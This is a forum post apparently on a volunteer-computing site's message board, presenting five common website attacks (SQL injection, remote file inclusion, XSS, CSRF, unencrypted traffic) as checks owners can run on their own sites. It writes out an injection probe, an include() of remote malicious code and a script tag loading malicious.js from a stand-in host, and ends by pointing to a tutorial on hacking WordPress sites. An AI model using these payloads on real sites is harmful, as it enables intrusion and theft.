Advanced search

Message boards : Webpage and Application Code Discussion : 5 Ways to Hack a Website

Author Message
Mubi Ace
Send message
Joined: 21 Oct 17
Posts: 1
Combined Credit: 0
DNA@Home: 0
SubsetSum@Home: 0
Wildlife@Home: 0
Wildlife@Home Watched: 0s
Wildlife@Home Events: 0
Climate Tweets: 0
Images Observed: 0
Message 7347 - Posted: 21 Oct 2017, 0:26:08 UTC

Hi,
Today I am sharing few website hacking ways. There are many ways that can make your website to get hacked but here I am going to discuss the most common methods used.

1. INJECTION ATTACKS
I will start with injection exploits because most IT professionals, even though they have cursory basic understanding of the dangers, leave too many sites open to the vulnerability, according to the Open Web Applications Security Project (OWASP). Injection is passing malicious user-supplied data to an interpreter. The most common form is SQL Injection, where the hacker passes a SQL command to your database. Are you at risk? Let’s find out.

Find a page on your application that accepts user-supplied information to access a database:

A login form, signup form, or “forgot password” form is a good start.
A dynamic page that uses URL variables such as ID (product information pages are good for this).
Knowing that the database command takes the user-supplied information into a WHERE clause, try to finish the command with SQL that will throw an error. So on our login form, perhaps we want to try putting this into the username: username’ or fake_column IS NULL. If you are greeted with a database error message page, success! You’ve hacked your own site.

You can follow a step by step tutorial on how to hack a website through SQL injection here.

The Risk: Our hack above seems pretty harmless, but it just finds the place in your application susceptible to malicious code injection. Once a hacker knows they have an unprotected line to your database, the possibilities are endless: vandalism, data theft, or even total system compromise.


2. REMOTE FILE INCLUSIONS
If your site doesn’t use any PHP, then good news: you’re safe of this sort of attack. But according to the SANS Institute, PHP is the most popular web application framework. When used properly, PHP can be a very powerful and useful tool for a number of different applications. Perhaps because of its popularity, it’s also an enticing target for hackers to find exploits. The PHP function allow_url_fopen is a favorite for hackers not only because it allows them to run their scripts on your site, but also because it is enabled by default.

Are you at risk? Let’s figure it out.

Find a PHP script that uses the include() function. If you have a path name in the include, change it to the absolute URL equivalent. If the file still works after this change, success! You’ve just hacked your own site.

The Risk: Okay, the hacker might need to do a little more legwork in this example, but it severely increases the surface area for attack. All a hacker needs to do is find one file to manipulate and add the line:include(‘http://www.example.com/malicious_code.php’) and you are compromised. Compromise might include password stealing, remote root kit installation, and in some cases complete system compromise.


3. CROSS SITE SCRIPTING (XSS)
Cross Site Scripting most commonly known as XSS occurs when a website takes malicious user input and, without question, posts the input to their page. The most common reason for a web application to do this is capturing user feedback: product reviews, blog comments, etc. As today’s Internet user can open discussions and interact with more websites.

There are two types of XSS attack.

Persistent Attack (This is the attack that remains in the database, which you can access anytime later.)
Non-persistent Attack (This is a one time attack which gets over once you close the application.)
So are you at risk? Let’s find out.

Search your application for a page that takes user input and outputs it directly to a webpage. Common examples:

- Forums
- Comments
- Reviews

<script src=”http://www.example.com/malicious.js”></script>

Now load the page where that post is outputted. If the script runs, it means it’s vulnerable to XSS and easily can be hacked.

You can follow a detailed complete guide to XSS cross site scripting here.


The Risk: The risk here is both for you and for your visitors. First, this opens your visitors to worms infected through the linked malicious code. Second, your site can be defaced with code that manipulates how your page displays. Third, your hijacked site can be flagged by Google and other search engines as a malicious site, and it could take you months to regain your page rank status. Lastly, it opens the next vulnerability: Cross Site Request Forgeries (CSRF).


4. CROSS SITE REQUEST FORGERIES (CSRF)
In a CSRF attack, a hacker uses a cross-site script to hijack a logged-in user’s credentials. It’s almost similar to the XSS. If you are at risk for XSS, then you might be at risk for a CSRF attack.

Let’s check it out whether your website is at risk or safe.

Does your application rely on credentials, like session cookies, to grant permissions to users on your site? If you don’t know offhand, try taking a look at the cookies your browser is storing when you login to your application. Even easier, if your site has a “remember me” feature for logging in, and you know from above you are vulnerable for XSS attacks, then success! You’ve just hacked your own site.

The Risk: The most common use of CSRF is to propagate the virus. The Samy MySpace Worm is a good example. Most security-aware users don’t trust random messages from profiles that look “spammy” and therefore don’t open themselves to catching an XSS worm. However, if that user has a friend who has been compromised, a CSRF attack can send a message as the trusted friend with the infected message, tricking the user to become infected. There are additional risks if the infected user has “moderator” or “admin” privileges to the site because the hacker automatically gains those permissions, which could end with entire site compromise.


5. INSECURE COMMUNICATIONS
Perhaps one of the oldest tricks in the book, site operators and visitors often forget that everything transmitted across an insecure protocol—including FTP and HTTP—is plaintext, meaning that usernames, passwords, private messages, or even credit card information is ripe for the taking for a hacker with the proper tools. A “man-in-the-middle” attack occurs when a malicious user “sniffs” the packets sent between source and destination.

Are you at risk? Let’s find out.

Navigate to a page on your site where you fill out a form, or when user information is displayed to the site visitor. Is this happening through HTTPS? (Your browser should indicate a lock icon or a green location bar). If not, that information can be intercepted. Don’t forget FTP. Are your login credentials for an unsecured FTP port the same as for your database or other secured systems? Do you upload or download sensitive files through unsecured FTP? Success! You’ve just hacked your own site.

The Risk: This depends on what information a hacker is able to recover. The most basic security breach could be a simple invasion of privacy, but could also result in identity theft, leaking of confidential documents, or the compromise of admin passwords leading to full site compromise.

If you want to hack a wordpress website, you can follow this step by step tutorial on how to hack a website with SQLMap.
____________
Kali Linux VirtualBox | Ethical Hacking Tutorial


Post to thread

Message boards : Webpage and Application Code Discussion : 5 Ways to Hack a Website